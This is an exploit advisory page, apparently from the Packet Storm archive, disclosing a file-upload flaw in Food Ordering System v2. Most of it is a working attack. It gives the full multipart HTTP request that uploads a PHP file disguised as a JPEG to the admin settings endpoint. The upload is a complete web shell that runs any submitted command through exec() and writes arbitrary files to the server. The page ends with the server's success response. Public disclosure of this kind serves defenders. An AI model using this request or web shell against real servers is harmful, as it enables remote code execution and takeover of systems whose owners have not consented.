exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

Food Ordering System 2 Shell Upload

Food Ordering System 2 Shell Upload
Posted Jan 23, 2023
Authored by nu11secur1ty

Food Ordering System version 2 suffers from a remote shell upload vulnerability.

tags | exploit, remote, shell
SHA-256 | 761ebf82d1e3d77cbb9e3df3aaa127409e8b8765f9bcd58a38d94c86c83af0cf

Food Ordering System 2 Shell Upload

Change Mirror Download
## Title: Food Ordering System v2 File upload Vulnerability + web-shell upload - RCE
## Author: nu11secur1ty
## Date: 01.23.2023
## Vendor: https://github.com/oretnom23
## Software: https://www.sourcecodester.com/php/16022/online-food-ordering-system-v2-using-php8-and-mysql-free-source-code.html
## Reference: https://github.com/nu11secur1ty/CVE-nu11secur1ty/tree/main/vendors/oretnom23/2023/Food-Ordering-System-v2.0

## Description:
The Food Ordering System v2 suffers from, File Upload and web-shell
upload RCE Vulnerabilities.
The upload function for the background image hover of this system is
not sanitizing correctly.
The attacker can upload some RCE malicious code and easily destroy
this system. The status of this system is awful!

## STATUS: HIGH Vulnerability

[+] Exploit:

```GET
POST /fos/admin/ajax.php?action=save_settings HTTP/1.1
Host: pwnedhost.com
Content-Length: 6157
Accept: */*
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)
AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.5304.107
Safari/537.36
Content-Type: multipart/form-data;
boundary=----WebKitFormBoundaryqYQLHPx3VuntGH7W
Origin: http://pwnedhost.com
Referer: http://pwnedhost.com/fos/admin/index.php?page=site_settings
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: PHPSESSID=598nahp235ehmk2broafrh37qq
Connection: close

------WebKitFormBoundaryqYQLHPx3VuntGH7W
Content-Disposition: form-data; name="name"

Online Food Ordering System V2
------WebKitFormBoundaryqYQLHPx3VuntGH7W
Content-Disposition: form-data; name="email"
info@sample.com
------WebKitFormBoundaryqYQLHPx3VuntGH7W
Content-Disposition: form-data; name="contact"

+6948 8542 623
------WebKitFormBoundaryqYQLHPx3VuntGH7W
Content-Disposition: form-data; name="about"

<p style="text-align: center; background: transparent; position:
relative;"><span style="font-size:28px;background: transparent;
position: relative;">ABOUT US</span></b></span></p><p
style="text-align: center; background: transparent; position:
relative;"><span style="background: transparent; position: relative;
font-size: 14px;"><span style="font-size:28px;background: transparent;
position: relative;"><b style="margin: 0px; padding: 0px; color:
rgb(0, 0, 0); font-family: "Open Sans", Arial, sans-serif;
text-align: justify;">Lorem Ipsum</b><span style="color: rgb(0, 0, 0);
font-family: "Open Sans", Arial, sans-serif; font-weight:
400; text-align: justify;">&nbsp;is simply dummy text of the printing
and typesetting industry. Lorem Ipsum has been the industry&#x2019;s
standard dummy text ever since the 1500s, when an unknown printer took
a galley of type and scrambled it to make a type specimen book. It has
survived not only five centuries, but also the leap into electronic
typesetting, remaining essentially unchanged. It was popularised in
the 1960s with the release of Letraset sheets containing Lorem Ipsum
passages, and more recently with desktop publishing software like
Aldus PageMaker including versions of Lorem
Ipsum.</span><br></span></b></span></p><p style="text-align: center;
background: transparent; position: relative;"><span style="background:
transparent; position: relative; font-size: 14px;"><span
style="font-size:28px;background: transparent; position:
relative;"><span style="color: rgb(0, 0, 0); font-family: "Open
Sans", Arial, sans-serif; font-weight: 400; text-align:
justify;"><br></span></b></span></p><p style="text-align: center;
background: transparent; position: relative;"><span style="background:
transparent; position: relative; font-size: 14px;"><span
style="font-size:28px;background: transparent; position:
relative;"><h2 style="font-size:28px;background: transparent;
position: relative;">Where does it come from?</h2><p
style="text-align: center; margin-bottom: 15px; padding: 0px; color:
rgb(0, 0, 0); font-family: "Open Sans", Arial, sans-serif;
font-weight: 400;">Contrary to popular belief, Lorem Ipsum is not
simply random text. It has roots in a piece of classical Latin
literature from 45 BC, making it over 2000 years old. Richard
McClintock, a Latin professor at Hampden-Sydney College in Virginia,
looked up one of the more obscure Latin words, consectetur, from a
Lorem Ipsum passage, and going through the cites of the word in
classical literature, discovered the undoubtable source. Lorem Ipsum
comes from sections 1.10.32 and 1.10.33 of "de Finibus Bonorum et
Malorum" (The Extremes of Good and Evil) by Cicero, written in 45 BC.
This book is a treatise on the theory of ethics, very popular during
the Renaissance. The first line of Lorem Ipsum, "Lorem ipsum dolor sit
amet..", comes from a line in section
1.10.32.</p></span></b></span></p>
------WebKitFormBoundaryqYQLHPx3VuntGH7W
Content-Disposition: form-data; name="img"; filename="pic.php"
Content-Type: image/jpeg

<!-- Project Name : PHP Web Shell -->
<!-- Version : 4.0 nu11secur1ty -->
<!-- First development date : 2022/10/05 -->
<!-- This Version development date : 2022/10/05 -->
<!-- Moded and working with PHP 8 : 2022/10/05 -->
<!-- language : html, css, javascript, php -->
<!-- Developer : nu11secur1ty -->
<!-- Web site : https://www.nu11secur1ty.com/ -->

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN"
"http://www.w3.org/TR/html4/strict.dtd">
<html>
<head>
<meta http-equiv="Content-Type" content="text/html" charset="euc-kr">
<title>PHP Web Shell Ver 4.0 by nu11secur1ty</title>
<script type="text/javascript">
function FocusIn(obj)
{
if(obj.value == obj.defaultValue)
obj.value = '';
}

function FocusOut(obj)
{
if(obj.value == '')
obj.value = obj.defaultValue;
}
</script>
</head>
<body>
<b>WebShell's Location = http://<?php echo $_SERVER['HTTP_HOST'];
echo $_SERVER['REQUEST_URI'] ?></b><br><br>

HTTP_HOST = <?php echo $_SERVER['HTTP_HOST'] ?><br>
REQUEST_URI = <?php echo $_SERVER['REQUEST_URI'] ?><br>

<br>

<form name="cmd_exec" method="post" action="http://<?php echo
$_SERVER['HTTP_HOST']; echo $_SERVER['REQUEST_URI'] ?>">
<input type="text" name="cmd" size="70" maxlength="500"
value="Input command to execute"
onfocus="FocusIn(document.cmd_exec.cmd)"
onblur="FocusOut(document.cmd_exec.cmd)">
<input type="submit" name="exec" value="exec">
</form>
<?php
if(isset($_POST['exec']))
{
exec($_POST['cmd'],$result);

echo '----------------- < OutPut > -----------------';
echo '<pre>';
foreach($result as $print)
{
$print = str_replace('<','<',$print);
echo $print . '<br>';
}
echo '</pre>';
}
else echo '<br>';
?>

<form enctype="multipart/form-data" name="file_upload" method="post"
action="http://<?php echo $_SERVER['HTTP_HOST']; echo
$_SERVER['REQUEST_URI'] ?>">
<input type="file" name="file">
<input type="submit" name="upload" value="upload"><br>
<input type="text" name="target" size="100" value="Location where
file will be uploaded (include file name!)"
onfocus="FocusIn(document.file_upload.target)"
onblur="FocusOut(document.file_upload.target)">
</form>
<?php
if(isset($_POST['upload']))
{
$check = move_uploaded_file($_FILES['file']['tmp_name'], $_POST['target']);

if($check == TRUE)
echo '<pre>The file was uploaded successfully!!</pre>';
else
echo '<pre>File Upload was failed...</pre>';
}
?>
</body>
</html>

------WebKitFormBoundaryqYQLHPx3VuntGH7W--
```

[+] Response:

```HTTP
HTTP/1.1 200 OK
Date: Mon, 23 Jan 2023 12:27:44 GMT
Server: Apache/2.4.54 (Win64) OpenSSL/1.1.1p PHP/8.2.0
X-Powered-By: PHP/8.2.0
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Content-Length: 1
Connection: close
Content-Type: text/html; charset=UTF-8

1

```


## Reproduce:
[href](https://github.com/nu11secur1ty/CVE-nu11secur1ty/tree/main/vendors/oretnom23/2023/Food-Ordering-System-v2.0)

## Reference:
[href](https://portswigger.net/web-security/file-upload)

## Proof and Exploit:
[href](https://www.youtube.com/watch?v=t7RnRFnXTP4)

## Proof and Exploit:
[href](https://streamable.com/c026hq)

## Time spent
`01:00:00`


Login or Register to add favorites

File Archive:

February 2023

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Feb 1st
    11 Files
  • 2
    Feb 2nd
    9 Files
  • 3
    Feb 3rd
    5 Files
  • 4
    Feb 4th
    0 Files
  • 5
    Feb 5th
    0 Files
  • 6
    Feb 6th
    9 Files
  • 7
    Feb 7th
    32 Files
  • 8
    Feb 8th
    0 Files
  • 9
    Feb 9th
    0 Files
  • 10
    Feb 10th
    0 Files
  • 11
    Feb 11th
    0 Files
  • 12
    Feb 12th
    0 Files
  • 13
    Feb 13th
    0 Files
  • 14
    Feb 14th
    0 Files
  • 15
    Feb 15th
    0 Files
  • 16
    Feb 16th
    0 Files
  • 17
    Feb 17th
    0 Files
  • 18
    Feb 18th
    0 Files
  • 19
    Feb 19th
    0 Files
  • 20
    Feb 20th
    0 Files
  • 21
    Feb 21st
    0 Files
  • 22
    Feb 22nd
    0 Files
  • 23
    Feb 23rd
    0 Files
  • 24
    Feb 24th
    0 Files
  • 25
    Feb 25th
    0 Files
  • 26
    Feb 26th
    0 Files
  • 27
    Feb 27th
    0 Files
  • 28
    Feb 28th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Hosting By
Rokasec
close